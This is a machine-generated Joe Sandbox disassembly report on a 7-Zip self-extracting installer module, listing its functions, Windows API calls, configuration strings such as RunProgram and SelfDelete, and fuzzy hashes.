??3@YAXPAX@Z.MSVCRT(?,00000001,00000010,?), ref: 004072E4
??3@YAXPAX@Z.MSVCRT(?,?,00000001,00000010,?), ref: 004072EC
??3@YAXPAX@Z.MSVCRT(?,?,?,00000001,00000010,?), ref: 004072F4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000001,00000010,?), ref: 004072FA
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000001,00000010,?), ref: 00407302
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000001,00000010,?), ref: 0040730A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000001,00000010,?), ref: 00407312
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407331
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00407339
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407341
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407347
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 00407380
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004073AA
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040746E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407476
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040748D
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004074A1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004074A9
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 004074C2

Strings

sfxconfig, xrefs: 00405FEE, 004061C0
GUIMode, xrefs: 004063D9
Hwg, xrefs: 004060F4
x86, xrefs: 00405CEF, 00407028
sfxlang, xrefs: 00405D63
GUIFlags, xrefs: 004063FC
amd64, xrefs: 0040704E
FinishMessage, xrefs: 004073D6
ExecuteFile, xrefs: 00406ADB, 00406BD7, 00406BE5
SetEnvironment, xrefs: 004067FC, 00406804, 0040688B
waitall, xrefs: 00406EA5
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 004074BB
OverwriteMode, xrefs: 00406395
BeginPrompt, xrefs: 00406AEB
x64, xrefs: 00407061
123456789ABCDEFGHJKMNPQRSTUVWXYZ, xrefs: 004069BD
bpt, xrefs: 004064C7
7zSfxVarModulePlatform, xrefs: 00405CF4
setup.exe, xrefs: 00406E2C, 00406E31, 00406E8C
forcenowait, xrefs: 00406F8C
MiscFlags, xrefs: 0040641F
7-Zip SFX, xrefs: 004074B6
SelfDelete, xrefs: 0040645F, 0040743C
0A, xrefs: 0040603D
InstallPath, xrefs: 00406941
Delete, xrefs: 0040738F
xyg, xrefs: 00406057
7ZipSfx.%03x, xrefs: 00406CD1
0A, xrefs: 00405E4F
HelpText, xrefs: 004068CA
AutoInstall, xrefs: 00406B51, 00406BAC, 00406F13
Hwg, xrefs: 004060A2, 004060BC, 004060CC, 004060E9
$A, xrefs: 0040610C
7zSfxVarCmdLine1, xrefs: 0040661A
SfxAuthor, xrefs: 0040696B
BeginPromptTimeout, xrefs: 004064E0, 00406A55
A, xrefs: 00406CDE
7zSfxVarSystemPlatform, xrefs: 00405D07
" -, xrefs: 004066E4
nowait, xrefs: 00406F68
sfxelevation, xrefs: 00405E14, 004066DF
pA, xrefs: 00405F55
i386, xrefs: 0040703B
7zSfxVarCmdLine2, xrefs: 004062CD, 00406675
shc, xrefs: 00406FE4
sfxversion, xrefs: 00405DB3
RunProgram, xrefs: 00406AE0, 00406BFB, 00406C09
7zSfxVarSystemLanguage, xrefs: 00405D52
ExecuteParameters, xrefs: 004070C7
del, xrefs: 00407004
7zSfxVarCmdLine0, xrefs: 00405D12
Shortcut, xrefs: 00407367
A, xrefs: 00406951
0A, xrefs: 00406047
sfxwaitall, xrefs: 00405DF8
A, xrefs: 00406CFC
7zSfxString%d, xrefs: 0040628F
hidcon, xrefs: 00406F4A

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@$Message_wtol$lstrlen$??2@wsprintf$CommandCurrentFileFormatLineModuleProcessTimerlstrcpy$?_set_new_handler@@AttributesCallbackCreateDirectoryDispatchDispatcherErrorFolderFreeHandleInitializeKillLastLocalNamePathSizeSpecialStateUserVersionWindowWorkingwvsprintf
String ID: " -$$A$0A$0A$0A$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$7zSfxVarCmdLine0$7zSfxVarCmdLine1$7zSfxVarCmdLine2$7zSfxVarModulePlatform$7zSfxVarSystemLanguage$7zSfxVarSystemPlatform$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$Hwg$Hwg$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$pA$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxversion$sfxwaitall$shc$waitall$x64$x86$xyg$A$A$A
API String ID: 1301190434-1407085433
Opcode ID: b83124d88e2db66dd2d1e3eb4e7ee556b62859b735d7ccbe44bf373ef164a074
Instruction ID: 37b3d77bb6f8fb102f6eda89de8ddb12e9592f0eac1975534991a7b966549d26
Opcode Fuzzy Hash: b83124d88e2db66dd2d1e3eb4e7ee556b62859b735d7ccbe44bf373ef164a074
Instruction Fuzzy Hash: 69E2E271904208AADF25AF62DC46AEE3768EF04304F54403BFD06B61D2EB7D9991CB5E

Function 0040247D Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
wsprintfW.USER32 ref: 004024DD
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
GetLastError.KERNEL32 ref: 004024F7
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
GetLastError.KERNEL32 ref: 0040252C
lstrcmpiW.KERNEL32(006795D0,?), ref: 00402541
??3@YAXPAX@Z.MSVCRT(006795D0), ref: 00402551
??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
SetLastError.KERNEL32(00000003), ref: 00402578
lstrlenA.KERNEL32(0041B328), ref: 004025AC
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
_wtol.MSVCRT ref: 0040260A
MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,006795D0,00000002), ref: 0040262A

Strings

7zSfxString%d, xrefs: 004024D7

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: 7zSfxString%d
API String ID: 2117570002-3906403175
Opcode ID: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction ID: 1954578a42ed511618fabe736ee1125ec7d3cad31fc3f85986fc13fa068848c6
Opcode Fuzzy Hash: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction Fuzzy Hash: 9951A379900214FFDB10DF75DD49ADABBA9FB08340F10443AE946E62D0E7B8A951CB1D

Function 00402665 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
GetProcAddress.KERNEL32(00000000), ref: 0040267C
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

Strings

GetNativeSystemInfo, xrefs: 0040266B
kernel32, xrefs: 00402670

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: AddressInfoLibraryLoadNativeProcSystem
String ID: GetNativeSystemInfo$kernel32
API String ID: 2103483237-3846845290
Opcode ID: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction ID: 08739c12cb3b948957cf2c0406c7fd7347f4194bf9f07d28511d247575205d7a
Opcode Fuzzy Hash: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction Fuzzy Hash: AAD05EB0A0520576CB00ABB15D0E9EB7AEC5A48608B144461A806F00C5EAADDD90C36A

Function 0040367D Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,-00000001), ref: 0040368B
SetLastError.KERNEL32(00000010), ref: 004036A0

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction ID: 2afa7e6ed9b3c4e8b0be6899d5053f20146e769dcf51bfeaf0e83b5e475a48be
Opcode Fuzzy Hash: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction Fuzzy Hash: 7001AD30402014BEDB206F759C099EA3B5CAF0132AF204E32F822F23D0D739CB469A5E

Function 0040122A Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 00401246
SendMessageW.USER32(00008001,00000000,?), ref: 0040129F

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: 5bb3e25784e11187b05554fa092f685445669e0df266ab708f25aa21da7aa29e
Instruction ID: 952f35bfd535ad09d3a1e6728af904cc40037fdc81ed9fa17bdc1f07510a46f8
Opcode Fuzzy Hash: 5bb3e25784e11187b05554fa092f685445669e0df266ab708f25aa21da7aa29e
Instruction Fuzzy Hash: 3F016DB4611208ABEB94DB52DC45F9A77A9AB01714F10807EFD00FA1F0C7B9A9808B1D

Function 00401B0B Relevance: 22.8, APIs: 15, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction ID: f12f3cbfd9e378c4fb4e9f7b852960855991058b71a72fc1bb9c774fc2295476
Opcode Fuzzy Hash: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction Fuzzy Hash: 2CB18071900204EFCF15EFA5C8849EEB7B5FF44304B20852BF812A72A1DB78E945CB59

Function 00402017 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
DispatchMessageW.USER32(?), ref: 00402069
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

Strings

Static, xrefs: 0040203A

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
String ID: Static
API String ID: 2479445380-2272013587
Opcode ID: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction ID: 2d78b022e2fbb31551ae1a24c66cabd830678dfcab2333de03de12e069c17b52
Opcode Fuzzy Hash: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction Fuzzy Hash: 2BF062325472217BCA312BA69C4DEEF3E2DEF46BB1F004260F619A11D1DAB94111C6BA

Function 00414491 Relevance: 12.6, APIs: 8, Instructions: 565
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000018,00000000,?,00000000,?), ref: 00414501
??2@YAPAXI@Z.MSVCRT(00000028,00000000,00000000,?,00000000,?), ref: 0041454B

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction ID: b54dbc60db56bc1e6d6afd4c66008574e1cbac59b919e387d83e05da41c529ad
Opcode Fuzzy Hash: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction Fuzzy Hash: 89321271900249DFCB14DFA5C8848EEBBB5BF88308B14456EF9169B351CB39E985CF98

Function 004039E7 Relevance: 10.6, APIs: 7, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

memcpy.MSVCRT(-00000001,00401A74,?,?,?,?,?,00401A74,?), ref: 00403AC2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00401A74,?), ref: 00403AFF
??3@YAXPAX@Z.MSVCRT(?,00000001,0000000C,00401A74,00401A74,?,?,?,?,00401A74,?), ref: 00403B45

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
String ID:
API String ID: 846840743-0
Opcode ID: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction ID: 952cd346550c55d7e35c26256f51fad4d5ed31c9206aabe41908170679320093
Opcode Fuzzy Hash: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction Fuzzy Hash: 4141E836A00112AADB20AF59C841ABF7B7CEB4170AF50413BEC81B21D1D77D5A4286DD

Function 004053B2 Relevance: 10.6, APIs: 7, Instructions: 78
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004053D6
??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,?,?), ref: 0040542F
??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 00405437
ShellExecuteExW.SHELL32(?), ref: 00405455
WaitForSingleObject.KERNEL32(004071CC,000000FF), ref: 0040546D
CloseHandle.KERNEL32(004071CC), ref: 00405476
??3@YAXPAX@Z.MSVCRT(?), ref: 0040547D

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
String ID:
API String ID: 2700081640-0
Opcode ID: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction ID: a17db50f12ff5cb4ace43bc03755f74cf1bf378a7c310b81d7eb3e61b1d8450d
Opcode Fuzzy Hash: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction Fuzzy Hash: 3D212B71804208ABDB119FD5D885AEFBBB8EF44319F10812BE915B61A1D7785985CF84

Function 00404D0B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32(00000000,?,?), ref: 00404D17

Part of subcall function 00402427: GetUserDefaultUILanguage.KERNEL32(00404D27,?,?), ref: 00402431

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(006795D0,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(006795D0), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
Part of subcall function 0040247D: _wtol.MSVCRT ref: 0040260A
Part of subcall function 0040247D: MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,006795D0,00000002), ref: 0040262A

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
wsprintfW.USER32 ref: 00404DB8

Part of subcall function 004035CF: ??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Strings

Hwg, xrefs: 00404D48
7zSfxFolder%02d, xrefs: 00404DB2

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: 7zSfxFolder%02d$Hwg
API String ID: 3387708999-2921797968
Opcode ID: 93e79cb75430c4e5ec341fb81b9d97ae84961af30eb98a18bccb13e1a70124f1
Instruction ID: 1fdf757244b44e0294be47ca2d8d1062c2b35c8cdb495cdfc6011dfc87a7cf41
Opcode Fuzzy Hash: 93e79cb75430c4e5ec341fb81b9d97ae84961af30eb98a18bccb13e1a70124f1
Instruction Fuzzy Hash: 8F317CB1A112089ECB11FFB2DD8AEEE7BA8AF44305F00403FA559A61E1EB784545CB59

Function 00401E6B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(a:@,00000000,-00000001,00403A61,?,00401A74,?,?,?,?,00401A74,?), ref: 00401E72
GetLastError.KERNEL32(?,?,?,?,00401A74,?), ref: 00401E7C
SetLastError.KERNEL32(000000B7,?,?,?,?,00401A74,?), ref: 00401E8C
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00401E9A

Strings

a:@, xrefs: 00401E6E

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID: a:@
API String ID: 635176117-3844204524
Opcode ID: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction ID: 62bb911204df67689409a0bf299a5fa733f048eefc6419992ca9e78119752425
Opcode Fuzzy Hash: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction Fuzzy Hash: 0CE09A3494A210BFEB212B24FC087DF3B549F01321F608A36FC19E21F0C3388852868A

Function 00416891 Relevance: 7.6, APIs: 5, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(00000000,?,00000020,00010000), ref: 004168E8
memmove.MSVCRT(00000000,?,00000020,?,00010000), ref: 0041697F
??3@YAXPAX@Z.MSVCRT(00000000), ref: 0041698B

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@memcpymemmove
String ID:
API String ID: 3549172513-0
Opcode ID: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction ID: 6694c7cce515cef0b0cd55d5e6bb9cb7435d9f647c4cb47c4d4af15ebe31c866
Opcode Fuzzy Hash: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction Fuzzy Hash: 2D41CEB1A10204ABDB20DE65C941BFFB7B9EF44704F16446EE845A7241D738EE81CBA9

Function 0040B2B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2C3
memmove.MSVCRT(00000000,?,?), ref: 0040B2E0
??3@YAXPAX@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2F1

Strings

hA, xrefs: 0040B2B2

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

